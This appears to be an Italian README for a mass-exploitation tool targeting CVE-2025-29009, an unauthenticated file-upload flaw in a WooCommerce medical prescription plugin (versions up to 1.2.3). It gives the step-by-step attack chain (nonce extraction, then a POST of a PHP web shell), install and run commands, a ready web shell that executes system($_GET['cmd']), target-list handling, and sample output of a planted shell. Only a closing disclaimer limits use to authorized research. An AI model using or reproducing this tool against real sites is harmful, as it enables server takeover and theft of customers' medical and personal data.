
WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 è vulnerabile a un Caricamento Arbitrario di File ad alta priorità.
Il plugin WordPress Medical Prescription Attachment per WooCommerce <= 1.2.3 è vulnerabile a un caricamento arbitrario di file ad alta priorità.
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2025-29009 |
| Plugin | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| Versione affetta | Tutte le versioni ≤ 1.2.3 |
| Autenticazione | Non richiesta |
| Tipo | Unrestricted Upload of File with Dangerous Type → Web Shell Upload |
| CWE | CWE-434 · Unrestricted Upload of File with Dangerous Type |
Causa principale:
Il gestore AJAX wkwcpa_handle_prescription_session (action=wkwcpa_handle_prescription_session) accetta caricamenti di file tramite wkwc_pa_prescription_attachment[] senza validare l'estensione del file o il tipo MIME lato server. Un attaccante non autenticato può estrarre il ajaxNonce dal frontend pubblico del negozio WooCommerce (incorporato nell'oggetto JavaScript wkwcpaFrontObj), quindi caricare una web shell PHP direttamente nella directory di upload del server. La risposta restituisce l'URL completo e accessibile del file caricato.
┌──────────────────────────────────────────────────────────────┐
│ 1. Risolvi la pagina principale │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. Estrai il nonce │
│ Analizza wkwcpaFrontObj.ajax.ajaxUrl │
│ Analizza wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. Carica la shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. Analizza la risposta │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. Verifica la shell │
│ GET <shell_url> → controlla la firma unica │
│ │
│ 6. Salva in shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
Crea la tua shell PHP e incorpora una stringa di firma unica in modo che lo strumento possa verificare l'esecuzione riuscita:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
Salva come shell.php nella stessa directory dello script.
La stringa NxploitedShellOK è la firma — deve apparire nella risposta della shell affinché la verifica abbia successo.
python3 CVE-2025-29009.py
File dei target (default list.txt): list.txt
Thread (default 10): 10
Nome file shell locale (es. shell.php): shell.php
Firma shell unica (es. NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
I target senza
http://ohttps://vengono automaticamente prefissati conhttp://.
| File | Contenuto |
|---|---|
shells.txt | Un URL di shell verificato per riga |
Terminale:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
| Codice | Significato |
|---|---|
shell_file_missing | shell.php non trovato nella directory di lavoro |
no_front_page | Nessuna pagina candidata ha restituito HTTP 200 |
nonce_not_found | wkwcpaFrontObj non presente su nessuna pagina |
upload_error | Errore di rete durante il POST |
json_parse_error | La risposta non è un JSON valido |
success_false | Il server ha restituito data.success = false |
no_attachments | Caricamento riuscito ma nessun URL nella risposta |
shell_url_not_found | Impossibile analizzare l'URL del file dall'HTML della risposta |
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · Risolto in 1.2.4